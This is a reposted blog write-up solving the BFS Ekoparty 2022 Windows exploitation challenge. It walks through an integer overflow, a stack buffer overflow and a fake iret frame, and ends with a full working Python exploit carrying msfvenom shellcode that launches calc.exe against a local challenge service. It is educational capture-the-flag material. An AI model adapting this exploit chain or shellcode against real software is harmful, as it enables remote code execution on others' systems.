BFS Ekoparty 2022 Exploitation Challenges
2024-1-26 23:56:54 Author: infosecwriteups.com(查看原文) 阅读量:13 收藏

Miguel Méndez Z.

InfoSec Write-ups

Hello and welcome to all readers.

As every year, I participate in the Ekoparty Conference, attempting to absorb as much knowledge as possible from the speakers and people I meet along the way. For this reason, I often miss out on fun challenges and end up solving them later.

Losing the opportunity for some kind of reward, haha. But well, the important thing is to solve it; nonetheless, experience is gained.

So, to get started with the important task of solving this year’s challenge, let’s first go through the requirements set by Blue Frost Security Labs at Ekoparty 2022.

Requirements

1. Only Python solutions without external libraries will be accepted.
2. The goal is to execute the Windows Calculator (calc.exe).
3. The solution should work on either Windows 10 or Windows 11.
4. Continuation of the process is desirable (not mandatory).

Application download

https://static.bluefrostsecurity.de/files/lab/bfs-eko2022.zip

Protections

The protections of a binary are applied to prevent a potential exploitation from being trivial, increasing the difficulty of exploitation.

We use the winhecksec.exe tool, which shows us that the binary has ASLR, DEP, and GS protections enabled. The GS protection may not be visible, but it can be validated through reverse engineering.

Analysis

First things first, let’s execute the binary and observe that it launches a socket service on some port.

We use Process Hacker and in the Network tab we filter by the name of the binary and see that the service runs in 31415. This is the easiest way to identify the port. Another serious form reversed and see the parameters of the function listen(), but so we’re going to get complicated.

With this we created the first structure of the script to communicate with the service. This we will use it later in the dynamic analysis, for now we will go to recognize the flow in static form.

#!/usr/bin/python
# Code By s1kr10s
import socket

server = "127.0.0.1"
port = 31415

try:
junk = A" * 1000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(junk)
s.recv(1024)
s.close()

except Exception as e:
print(e)

Seeing the code, we first identified the function main(), where the following actions that lift the service are executed and carry out some checks of the data sent.

The most important thing here is cmp_msg_hello() who compare the bytes received with a constant call “Hello,” if so follow the right path to the send() to respond with a “Hi.” via the socket connection and be able to reach the function packet-filter().

Now we see the routines of packet-filter() this is where the vulnerabilities are found and where you have to think.

When you enter the function, a kind of memset() on the buffer of virtualAlloc(), modifying the existing bytes by some defined by the binary (5050505050… and CF585858…) which have a purpose.

The second receive() receives a kind of package header that will be used for different validations such as size, cookie and type.

1.size valid that the header is less than or equal to 11 bytes of size
2.cookie valid as the Eko2022 chain was sent
3.type it’s valid that I sent the character.
4.Integer Overflow is a value that belongs to the header called size and must be less than 0x0F00 than in decimal is 3840

Here we can see that there is a comparison with sign, which allows us to exploit the vulnerability of Integer Overflow by sending a negative value that will soon be interpreted as positive.

So if in the value size from the headboard we ship 0xFFFF this will be transformed to 0x0000FFFF which is negative and less than 0x0F00 achieving the comparison evasion.

When escape is achieved, we go in call another recv() But with a size we control, in this case it would be the negative value word 0x0000FFFF and the bytes will be copied to a buffer located in the heap.

Follow a call to the function renamed as copy_data_heap_to_stack() with the arguments.

Inside copy_data_heap_to_stack() we have a routine that makes a byte copy from the heap buffer to the stack buffer, using a for-slinging cycle as a size the 0xFFFF, causing a stack buffer overflow. Now the important thing is to be able to control records or variables of stack that allow us to continue with the execution, for that it is necessary to send bytes of controlled size in order to modify the value of the type and be able to reach winExec().

Before calling winExec(), there is a displacement within the buffer, and those bytes are moved to the ‘rax’ register, which overwrites the address of winExec(). Therefore, the function cannot be used to execute code. Finally, the call is made.

If you recall, in the memset() function, the buffer’s bytes are modified with 5050505050 and CF58585858. Now, with the offset within the buffer plus 7 bytes, we position ourselves right at the 5050505050. So, when the call to winExec() is made, it reaches the 5050505050, which transforms into ‘pop rax’, allowing us to pop the stack and take control of the return, which would be our A’s with iret.

For this we’ll see the ‘pop rax and we validate with the stack information.

Now we are almost at the end of the challenge, but to achieve it, we need to solve the iret problem because, in addition to the return address (EIP/RIP) located on the stack, it also requires other arguments.

The iret instruction is usually called from kernel code before returning to a user-space process.

References on iret and Intel segmentation:

For now, what we need to achieve is creating a Fake iret Frame on the stack, and it must contain the following parameters.

  • EIP is the address of the start of the buffer located in the heap at 0x10000000 where we have our data. However, we will give it an offset to avoid any issues, leaving it at 0x10000014.
  • CS indexes the Global Descriptor Table (GDT) with its code/data descriptor in the kernel (ring 0) and user (ring 3).
  • EFLAGS can be obtained using windbg or x64dbg in the afl register.
  • ESP is an address in the middle of the buffer located in the heap, but it must be below the shellcode and should not be the end, such as 0x10000600.
  • SS indexes the Global Descriptor Table (GDT) with its code/data descriptor in the kernel (ring 0) and user (ring 3).

An easy way to obtain the value of EFLAGS is through the efl register, which can be visualized with the windbg or IDA debugger.

Now let’s calculate the values of CS and SS, as they are the most difficult to obtain.

When the GDT is configured, 5 selectors are set up. The indices between Kernel and user have a size of 16 bytes, and between code and data for each mode, it is 8 bytes. So, the selector indices are:

- 0x00: Null Descriptor
- 0x10: Kernel Code Segment (Kernel Mode — ring 0)
- 0x18: Kernel Data Segment (Kernel Mode — ring 0)
- 0x20: User Code Segment (User Mode — ring 3)
- 0x28: User Data Segment (User Mode — ring 3)

So, if we want to switch to user mode (ring 3), we need to configure the RPL (Requested Privilege Level) or CPL (Current Privilege Level), which in this case is 3. Therefore, our “User Code Segment” selector will be [0x20+0x3=0x23], and the “User Data Segment” selector will be [0x28+0x03=0x2b].

Now the big problem we have with the “User Data Segment” calculation is that the 0x2b is modified by a 0x00 when entering the function copy_data_heap_to_stack() and it won’t be stored in the Stack, so we should use another value.

To solve this problem, a value belonging to data must be identified with reading and writing permissions (Data RW) so using the command in windbg dg 0x53 we can see the information.

With everything armed we can already execute and observe how the structure of parameters to iret in the stack remains.

Segments values before the iret jump with CS 0x33.

Segments values after the iret jump with CS 0x23.

Finally, before executing the shellcode, we just need to restore the CS register to 0x33 to return to the 64-bit architecture because executing iret leaves us in 32-bit mode. Also, restore the Stack, fortunately, RCX points there.

We can observe, prior to the iret execution, how everything remains in 64-bit mode.

Now, after executing iret, everything changes to 32 bits, including the registers.

For this, we just need to add a few bytes at the beginning of the shellcode so that when the jump is made, it can restore to the old values and execute the 64-bit shellcode without issues.

By using a far jump like ‘jmp 0x33:0x1000001C’, the “User Code Segment” will be specified with the value 0x33, returning to 64 bits (More information here). Finally, the following opcodes ‘\x48\x89\xCC represent a ‘MOV RSP, RCX’ to restore the Stack. (Calculate opcodes online)

Exploit

#!/usr/bin/python
# Code By s1kr10s
import socket
import struct
from sys import exit

'''
Se explota un Integer Overflow, que permite evadir la condicion de "cmp eax, 0F00h" y
asi mismo modificar el size para el recv(), permitiendole recibir mas bytes.

Con el size manipulado se explota un Stack Buffer Overflow, donde se envian 3840 bytes seguido de una caracter "X"
para evadir la comparacion de "type" y 7 nop que son utilizados como desplazamiento
para llegar a las X's que fueron modificadas en el buffer por la funcion packet_filter().

Luego con el overflow se explota un Type Confusion, donde nos permite controlar el flujo
corractamente, para llegar a ejecutar la llamada a WinExec(), pero ahora apuntando a las X's que
son interpretadas como "pop rax" en memoria, las que ayudan a controlar el retorno de iret.
'''

def banner():
ban = '''
██████╗░███████╗░██████╗░░░░░░███████╗██╗░░██╗░█████╗░██████╗░░█████╗░██████╗░██████╗░
██╔══██╗██╔════╝██╔════╝░░░░░░██╔════╝██║░██╔╝██╔══██╗╚════██╗██╔══██╗╚════██╗╚════██╗
██████╦╝█████╗░░╚█████╗░█████╗█████╗░░█████═╝░██║░░██║░░███╔═╝██║░░██║░░███╔═╝░░███╔═╝
██╔══██╗██╔══╝░░░╚═══██╗╚════╝██╔══╝░░██╔═██╗░██║░░██║██╔══╝░░██║░░██║██╔══╝░░██╔══╝░░
██████╦╝██║░░░░░██████╔╝░░░░░░███████╗██║░╚██╗╚█████╔╝███████╗╚█████╔╝███████╗███████╗
╚═════╝░╚═╝░░░░░╚═════╝░░░░░░░╚══════╝╚═╝░░╚═╝░╚════╝░╚══════╝░╚════╝░╚══════╝╚══════╝
'''
print(ban)

def shellcode():
# msfvenom -a x64 --platform Windows -p windows/x64/exec cmd="calc" -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41"
shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20"
shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31"
shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41"
shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0"
shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67"
shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20"
shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34"
shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41"
shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
shellcode += b"\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00"
shellcode += b"\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00"
shellcode += b"\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
shellcode += b"\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
shellcode += b"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
shellcode += b"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
shellcode += b"\xda\xff\xd5\x63\x61\x6c\x63\x00"
return shellcode

def connection(host, port):
try:
print('[+] Start Connection {0}:{1}'.format(host, port))
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((host, port))
return con
except:
print('No connection')
exit()

def main():
banner()

restoreCS = b"\xea\x1c\x00\x00\x10\x33\x00" # Restaura el valor de CS a 0x33 JMP 0x33:0x1000001c
restoreRSP = b"\x48\x89\xCC" # Restaura el viejo stack pointer con un "mov rsp, rcx"

try:
p32 = lambda x: struct.pack('<I', x);
s = connection('127.0.0.1', 31415)

print("[+] Sending Handshake (Hello)")
handshake = b"Hello\x00" # handshake Hello
s.send(handshake)
hi = s.recv(3)

if len(hi) == 3:

print(" [-] Response of handshake is: %s" % hi)
cookie = b"Eko2022\x00" # cookie value
packet_type = b"\x54" # packet type value
packet_size = b"\xff\xff" # int overflow - packet size value
header = cookie+packet_type+packet_size
print(" [-] Header Length %d" % len(header))

size = 3840 # size 0x0f00
data = p32(0x10000014) # return iret (EIP)
data += p32(0x23) # user code segment (CS)
data += p32(0x246) # valid EFLAGS save register
data += p32(0x10000500) # user stack pointer(ESP)
data += p32(0x53) # user stack segment (SS)
data += restoreCS # restaura el valor de CS a 0x33
data += restoreRSP # restaura el viejo stack pointer "mov rsp, rcx"
data += shellcode() # shellcode
data += b"\x90" * (size - len(data)) # junk bytes
data += b"\x58" # type - cmp eax, 58h ; 'X'
data += b"\x90" * 7 # desplazamiento a los XXXXXXX del buffer convertidos a pop rax
print(" [-] Data Length %d" % len(data))

print("[+] Sending Payload")
payload = header + data
s.send(payload)

else:
exit()

except Exception as e:
print(e)

if __name__ == "__main__":
main()

Bye!


文章来源: https://infosecwriteups.com/bfs-ekoparty-2022-exploitation-challenges-7deffce64ee4?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh